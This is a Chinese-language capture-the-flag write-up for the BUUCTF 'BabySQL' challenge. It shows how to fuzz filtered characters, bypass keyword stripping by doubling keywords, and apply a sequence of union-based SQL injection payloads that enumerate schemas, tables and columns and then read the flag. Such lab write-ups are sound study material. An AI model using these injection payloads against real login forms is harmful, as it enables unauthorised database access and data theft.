题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_特殊字符](https://file.cfanz.cn/uploads/png/2023/06/19/20/587L601HTN.png)
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_mysql_02](https://file.cfanz.cn/uploads/png/2023/06/19/20/N7a8G6Q0O9.png)
简单测试之后发现有些字符被过滤,初步判断这里的过滤是指特殊字符被替换为空,如下图所示
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_特殊字符_03](https://file.cfanz.cn/uploads/png/2023/06/19/20/7W4aSa9b19.png)
使用Burp进行SQL过滤字符的Fuzz
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_特殊字符_04](https://file.cfanz.cn/uploads/png/2023/06/19/20/778FeH9BWf.png)
这些长度为726响应内容是Input your username and password的Fuzz结果是被过滤的字符
Trick
- 替换为空的关键字过滤使用双写关键字绕过
- 这里空格可以使用%20绕过
username='oorrder%20bbyy%204--+&password=mochu7当前表有3个字段
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_字段_05](https://file.cfanz.cn/uploads/png/2023/06/19/20/B2XC971d79.png)
?username=mochu'ununionion%20selselectect%201,2,3--+&password=mochu7回显位是第二个字段和第三个字段
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_特殊字符_06](https://file.cfanz.cn/uploads/png/2023/06/19/20/F5X3NOb766.png)
?username=mochu'ununionion%20selselectect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata--+&password=mochu7查询出所有的库
information_schema,mysql,performance_schema,test,ctf,geek![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_字段_07](https://file.cfanz.cn/uploads/png/2023/06/19/20/3Hd0a0VeO7.png)
?username=mochu'ununionion%20selselectect%201,2,group_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema='ctf'--+&password=mochu7查出ctf库中的所有表
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_mysql_08](https://file.cfanz.cn/uploads/png/2023/06/19/20/3c6NF32e77.png)
?username=mochu'ununionion%20selselectect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_name='Flag'--+&password=mochu7查询出表的字段
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_字段_09](https://file.cfanz.cn/uploads/png/2023/06/19/20/Caf0d6I363.png)
?username=mochu'ununionion%20selselectect%201,2,flag%20frfromom%20ctf.Flag--+&password=mochu7查flag字段的内容
![在这里插入图片描述 BUUCTF:[极客大挑战 2019]BabySQL_字段_10](https://file.cfanz.cn/uploads/png/2023/06/19/20/5c8dT7E2a1.png)










